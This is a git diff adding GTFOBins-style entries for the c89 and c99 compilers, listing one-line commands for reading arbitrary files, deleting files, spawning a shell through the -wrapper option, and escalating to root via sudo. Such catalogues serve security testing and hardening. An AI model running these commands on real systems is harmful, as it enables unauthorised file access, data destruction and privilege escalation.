diff --git a/_gtfobins/c89.md b/_gtfobins/c89.md
new file mode 100644
index 0000000..7342b4f
--- /dev/null
+++ b/_gtfobins/c89.md
@@ -0,0 +1,15 @@
+---
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        c89 -x c -E "$LFILE"
+  file-write:  # XXX this should be file-delete
+    - code: |
+        LFILE=file_to_delete
+        c89 -xc /dev/null -o $LFILE
+  shell:
+    - code: c89 -wrapper /bin/sh,-s .
+  sudo:
+    - code: sudo c89 -wrapper /bin/sh,-s .
+---
diff --git a/_gtfobins/c99.md b/_gtfobins/c99.md
new file mode 100644
index 0000000..cd2ff9d
--- /dev/null
+++ b/_gtfobins/c99.md
@@ -0,0 +1,15 @@
+---
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        c99 -x c -E "$LFILE"
+  file-write:  # XXX this should be file-delete
+    - code: |
+        LFILE=file_to_delete
+        c99 -xc /dev/null -o $LFILE
+  shell:
+    - code: c99 -wrapper /bin/sh,-s .
+  sudo:
+    - code: sudo c99 -wrapper /bin/sh,-s .
+---